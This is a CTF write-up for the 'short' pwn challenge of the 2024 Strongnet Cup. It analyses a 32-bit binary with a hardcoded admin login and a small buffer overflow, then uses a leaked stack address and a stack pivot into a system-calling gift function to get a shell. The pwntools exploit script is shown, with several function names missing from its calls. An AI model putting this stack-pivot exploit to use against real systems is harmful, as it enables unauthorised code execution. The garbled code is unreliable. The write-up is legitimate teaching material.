This is the short WP for the pwn portion of the 2024 Strongnet Cup
Analyze the basic safety measures of the following programs
*] '/home/ysly/solve/tmp/short'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Nothing but NX.
The next step is to analyze the following vulnerabilities in ghidra, looking for input functions such as read, gets, etc.
Let's first look at the main entry logic, which determines the input point
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
undefined4 main(void)
{
int iVar1;
undefined *puVar2;
puVar2 = &stack0x00000004;
setbuf(_stdout,(char *)0x0);
setbuf(_stderr,(char *)0x0);
iVar1 = login(puVar2);
if (iVar1 == 0) {
puts("Login failed. Incorrect username or password.");
}
else {
vuln();
}
return 0;
}
There is a login here, and execution can only continue after success, so in order to have the possibility of utilizing it, go look at the login logic
undefined4 login(void)
{
size_t sVar1;
int iVar2;
char local_8c [64];
char local_4c [68];
printf("Enter your username: ");
fgets(local_4c,0x40,_stdin);
sVar1 = strcspn(local_4c,"\n");
local_4c[sVar1] = '\0';
printf("Enter your password: ");
fgets(local_8c,0x40,_stdin);
sVar1 = strcspn(local_8c,"\n");
local_8c[sVar1] = '\0';
iVar2 = strcmp(local_4c,"admin");
if ((iVar2 == 0) && (iVar2 = strcmp(local_8c,"admin123"), iVar2 == 0)) {
return 1;
}
return 0;
}
Obviously enter the username admin, password admin123 to log in successfully!
Going to the vuln function to see
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void vuln(void)
{
undefined buf [76];
puts("You are now in vuln! Please enter extra data:");
printf("You will input this: %p\n",buf);
puts("plz input your msg:\n");
read(0,buf,88);
return;
}
Can read 88 bytes, singular buff has 76 bytes, so there are 88-76 = 12 bytes overflow 12 = 4+4+4 can cover ebp, ret, extra 4 bytes respectively
But here's the static analysis, for reference only (and really only to cover the ret address)
View other functions
Found a gift function
undefined4 gift(char *param_1)
{
system(param_1);
return 0;
}
If you can control the parameters, you can get the shell
Dynamic analysis below
In the vuln function
printf("You will input this: %p\n",buf);
The ebp address is leaked. After all, function variables are addressed by ebp-x, so the address of buf must be buf - x, and x is a fixed finger, so the address of ebp can be leaked.
from pwn import *
context.log_level='debug'
= 'foot'
p = process(". /short")
# Login
(b "username: ",str("admin"))
(b "password: ",str("admin123"))
# Don't have the first line
()
# Some processing to get the buff address
raw = ()
raw = raw[-10:]
raw = b "0"+raw
raw = int(raw[0:10],16)
# Statically analyze the buff address as having a 0x50 offset.
ebp = raw-0x50
print("leak ebp",hex(ebp))
Here it is found that 0x58 data can be entered, starting from ebp-0x50
0x8048660 <vuln+79> push 0x58
► 0x8048662 <vuln+81> lea eax, [ebp - 0x50] EAX => 0xffffc878 —▸ 0xf7fc1440 ◂— 0xf7fc1440
0x8048665 <vuln+84> push eax
0x8048666 <vuln+85> push 0
0x8048668 <vuln+87> call read@plt <read@plt>
So we can control leven to be the ebp address and ret to be the rip address.
Here's where the idea of using stack migration comes to mind
Because of the previous gift function, look at the assembly section
0x80485e6 <gift>: push ebp
0x80485e7 <gift+1>: mov ebp,esp
0x80485e9 <gift+3>: push ebx
0x80485ea <gift+4>: sub esp,0x4
0x80485ed <gift+7>: call 0x80487e1 <__x86.get_pc_thunk.ax>
0x80485f2 <gift+12>: add eax,0x1a0e
0x80485f7 <gift+17>: sub esp,0xc
0x80485fa <gift+20>: push DWORD PTR [ebp+0x8]
0x80485fd <gift+23>: mov ebx,eax
0x80485ff <gift+25>: call 0x80484a0 <system@plt>
0x8048604 <gift+30>: add esp,0x10
0x8048607 <gift+33>: mov eax,0x0
0x804860c <gift+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804860f <gift+41>: leave
0x8048610 <gift+42>: ret
Before calling system, ebp + 0x8 is used as a parameter.
After the execution of leven and ret, ebp and eip can be controlled
Now we can control eip and ebp.
So we can fake an ebp so that epb+8 points to /bin/sh
and let eip execute the call, then you can get the shell.
The attack chain is now as follows
1.hijack ebp,eip
2. Find /bin/sh
3. Execute call system
Since we knew the address of the buff through a leak earlier, we could write /bin/sh to the buff, and then everything went smoothly
Here are all the wp
from pwn import *
context.log_level='debug'
='foot'
p = process("./short")
(b"username: ",str("admin"))
(b"password: ",str("admin123"))
# free junk
()
raw = ()
raw = raw[-10:]
raw = b"0"+raw
raw = int(raw[0:10],16)
ebp = raw-0x50
print("leak ebp",hex(ebp))
sh_addr =0x0804a038
fake_ebp = raw -8
payload = p32(sh_addr)+b'A'*(0x50-4)+p32(fake_ebp)+p32(0x080485fa)
#(p)
#pause()
(payload)
()
The /bin/sh character exists in the program, so why don't I use it?
Because I've used it and can't get through, not sure why at the moment